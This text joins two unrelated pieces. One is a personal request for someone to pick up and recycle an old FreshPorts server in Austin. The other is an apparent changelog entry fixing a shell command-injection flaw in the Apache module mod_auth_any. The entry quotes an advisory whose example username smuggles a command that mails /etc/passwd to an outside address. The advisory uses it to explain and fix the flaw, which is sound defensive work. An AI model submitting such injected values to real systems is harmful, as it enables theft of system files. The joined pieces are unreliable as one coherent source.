Do I know someone who can pick up a server from 7401 E. Ben White Blvd. Austin TX?

The emphasis is on know, or recommended by someone I know. This is the original FreshPorts server, way past useful: RAID, 8GB RAM, etc. The drives need to be wiped and everything recycled.

o Fix vulnerability that allows execution of arbitrary commands on
  the server with the uid of the apache process. Background [1]:

"The module accepts a username and password from the web client,
passes them to a user-space executable (using popen(3), which invokes
a shell) and waits for a response in order to authenticate the user.
The password is quoted on the popen() command line to avoid
interpretation of shell special chars, but the username is not.
Thus a malicious user can execute commands by supplying an appropriately
crafted username. (e.g. "foo&mail me@my.home</etc/passwd")

"The problem is easily fixed by adding quotes (and escaping any
quotes already present) to the username and password in the popen
command line."

o Fix this by adding a escaping function from [2]. Then, modifying
  this function appropriately with ideas from [3]. Apply the new
  escaping code to mod_auth_any.
